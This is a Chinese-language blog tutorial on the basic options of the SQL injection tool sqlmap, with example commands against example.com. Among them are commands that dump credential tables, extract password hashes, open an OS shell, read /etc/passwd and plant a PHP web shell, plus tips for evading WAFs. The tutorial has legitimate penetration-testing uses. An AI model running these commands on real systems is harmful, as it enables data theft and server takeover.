当前位置: 首页 > news >正文

sqlmap 的基本用法

sqlmap 是一款开源的渗透测试工具,旨在自动化检测和利用 SQL 注入漏洞,并接管数据库服务器。它具有强大的检测引擎和广泛的功能,可以帮助渗透测试人员进行数据库指纹识别、数据获取、文件系统访问以及在操作系统上执行命令等操作。
在这里插入图片描述

上图的问题,给 url 加上双引号就好了

在这里插入图片描述

sqlmap 的基本用法

sqlmap 是一个命令行工具,通常与 Python 解释器一起使用。

1. 安装 (如果尚未安装):

  • Linux (Kali Linux 通常预装):
    sudo apt install sqlmap
    
    或者通过 Git 克隆:
    git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
    
  • Windows: 从 sqlmap 官网 下载 .zip 文件并解压。

2. 基本语法:

python sqlmap.py [options]

或直接使用 sqlmap (如果已添加到 PATH):

sqlmap [options]

3. 常用选项和示例:

  • -u--url:指定目标 URL。
    这是最基本的用法,用于指定要测试的 Web 应用程序的 URL。

    sqlmap -u "http://example.com/vuln.php?id=1"
    
  • --dbs:枚举数据库名称。
    发现目标服务器上的所有数据库。

    sqlmap -u "http://example.com/vuln.php?id=1" --dbs
    
  • -D <DB NAME>:指定要操作的数据库。
    --tables--columns--dump 结合使用。

    sqlmap -u "http://example.com/vuln.php?id=1" -D <database_name> --tables
    
  • --tables:枚举指定数据库中的表。

    sqlmap -u "http://example.com/vuln.php?id=1" -D <database_name> --tables
    
  • -T <TABLE NAME>:指定要操作的表。
    --columns--dump 结合使用。

    sqlmap -u "http://example.com/vuln.php?id=1" -D <database_name> -T <table_name> --columns
    
  • --columns:枚举指定表中所有列。

    sqlmap -u "http://example.com/vuln.php?id=1" -D <database_name> -T <table_name> --columns
    
  • -C <COLUMN NAME>:指定要操作的列。
    --dump 结合使用。

    sqlmap -u "http://example.com/vuln.php?id=1" -D <database_name> -T <table_name> -C <column_name> --dump
    
  • --dump:转储(获取)指定数据库、表或列的数据。

    # 转储整个表的数据
    sqlmap -u "http://example.com/vuln.php?id=1" -D <database_name> -T <table_name> --dump# 转储指定列的数据
    sqlmap -u "http://example.com/vuln.php?id=1" -D <database_name> -T <table_name> -C "username,password" --dump
    
  • --current-user:获取当前数据库用户。

    sqlmap -u "http://example.com/vuln.php?id=1" --current-user
    
  • --current-db:获取当前数据库名称。

    sqlmap -u "http://example.com/vuln.php?id=1" --current-db
    
  • --is-dba:检查当前用户是否为 DBA(数据库管理员)。

    sqlmap -u "http://example.com/vuln.php?id=1" --is-dba
    
  • --passwords:获取数据库用户的密码哈希。
    需要 DBA 权限或特定条件。

    sqlmap -u "http://example.com/vuln.php?id=1" --passwords
    
  • --data:指定 POST 请求的数据。
    当目标是 POST 请求时使用。

    sqlmap -u "http://example.com/login.php" --data="username=test&password=test"
    
  • -r <request_file>:从文件加载 HTTP 请求。
    你可以使用 Burp Suite 等工具捕获 HTTP 请求并保存到文件,然后 sqlmap 可以加载该文件进行测试。

    sqlmap -r request.txt
    
  • -p <parameter>:指定要测试的参数。
    如果 URL 中有多个参数,你可以指定只测试其中一个。

    sqlmap -u "http://example.com/search.php?query=test&cat=1" -p query
    
  • --batch:在交互式提示时自动选择默认选项。
    在自动化脚本中很有用。

    sqlmap -u "http://example.com/vuln.php?id=1" --dbs --batch
    
  • --random-agent:使用随机的用户代理。
    有助于规避一些简单的检测。

    sqlmap -u "http://example.com/vuln.php?id=1" --random-agent
    
  • --level=<level>--risk=<risk>:设置测试的深度和风险等级。
    level 影响测试的彻底性 (默认 1),risk 影响使用高风险查询的频率 (默认 1)。

    sqlmap -u "http://example.com/vuln.php?id=1" --level=5 --risk=3
    
  • --os-shell:尝试获取操作系统的 shell 访问权限。
    需要特定的数据库配置和权限。

    sqlmap -u "http://example.com/vuln.php?id=1" --os-shell
    
  • --file-read=<file_path>:读取目标服务器上的文件。
    需要文件读写权限。

    sqlmap -u "http://example.com/vuln.php?id=1" --file-read="/etc/passwd"
    
  • --file-write=<local_file_path> --file-dest=<remote_file_path>:将本地文件写入目标服务器。
    需要文件读写权限。

    sqlmap -u "http://example.com/vuln.php?id=1" --file-write="local_shell.php" --file-dest="/var/www/html/shell.php"
    

使用流程建议:

  1. 目标识别和初步探测:

    sqlmap -u "http://example.com/vuln.php?id=1"
    

    此命令将自动检测注入点和可用的注入技术。

  2. 枚举数据库:

    sqlmap -u "http://example.com/vuln.php?id=1" --dbs
    
  3. 枚举特定数据库中的表:
    选择一个感兴趣的数据库(例如 webdb):

    sqlmap -u "http://example.com/vuln.php?id=1" -D webdb --tables
    
  4. 枚举特定表中的列:
    选择一个感兴趣的表(例如 users):

    sqlmap -u "http://example.com/vuln.php?id=1" -D webdb -T users --columns
    
  5. 转储数据:
    选择感兴趣的列(例如 username, password):

    sqlmap -u "http://example.com/vuln.php?id=1" -D webdb -T users -C "username,password" --dump
    

    或者直接转储整个表的数据:

    sqlmap -u "http://example.com/vuln.php?id=1" -D webdb -T users --dump
    

重要提示:

  • 合法性: 未经授权,请勿对任何网站使用 sqlmapsqlmap 旨在用于合法的渗透测试和安全研究。
  • 权限: sqlmap 的功能取决于你所利用的 SQL 注入漏洞的类型以及目标数据库用户的权限。
  • WAF/IPS 绕过: 实际环境中,目标网站可能部署有 WAF (Web Application Firewall) 或 IPS (Intrusion Prevention System) 来防御 SQL 注入。sqlmap 提供 --tamper 选项来使用各种脚本绕过这些防御措施。
  • 详细帮助: 使用 sqlmap -hsqlmap -hh 可以查看更详细的帮助信息和所有可用的选项。

sqlmap 是一个非常强大的工具,熟练掌握其基本用法是进行 SQL 注入测试的关键一步。

相关文章:

  • C++上学抄近路 动态规划算法实现 CCF信息学奥赛C++ 中小学普及组 CSP-J C++算法案例学习
  • Chroma 向量数据库学习笔记
  • Linux服务器安装mamba
  • nginx配置gzip压缩
  • 嵌入式自学之网络编程汇总(6.3-6.6 ,6.9)
  • 记录一次jenkins slave因为本地安装多个java版本导致的问题
  • PurgeCSS:CSS瘦身优化性能终极解决方案
  • SAP BTP连接SAP,云连接器
  • Python数据可视化艺术:动态壁纸生成器
  • Flink 系列之二十八- Flink SQL - 水位线和窗口
  • Dagster 实现数据质量自动化:6大维度检查与最佳实践
  • 关于空气钻井下等场合燃爆实时多参数气体在线监测系统技术方案
  • CodeForces 1453C. Triangles
  • 【小根堆】P9557 [SDCPC 2023] Building Company|普及+
  • 【大模型02---Megatron-LM】
  • 从传统楼盘到智慧空间:数字孪生的地产赋能之路
  • 以田为证——AI伦理治理在农业植保项目中的落地实践
  • 《Qt5.14.1与Mingw C++:打造可发布程序的技术之旅》
  • Qt Creator 从入门到项目实战
  • TickIt:基于 LLM 的自动化 Oncall 升级
  • 网站建设从入门到精通 网盘/网络营销网站平台有哪些
  • 老房装修改造哪家好/seo关键词排名优化品牌
  • php做网站商城系统怎么样/新网域名查询
  • 什么样算网站需要备案/seo关键词排行优化教程
  • 简述网站开发的流程/进入百度
  • 有没有交流做服装的网站/站长统计入口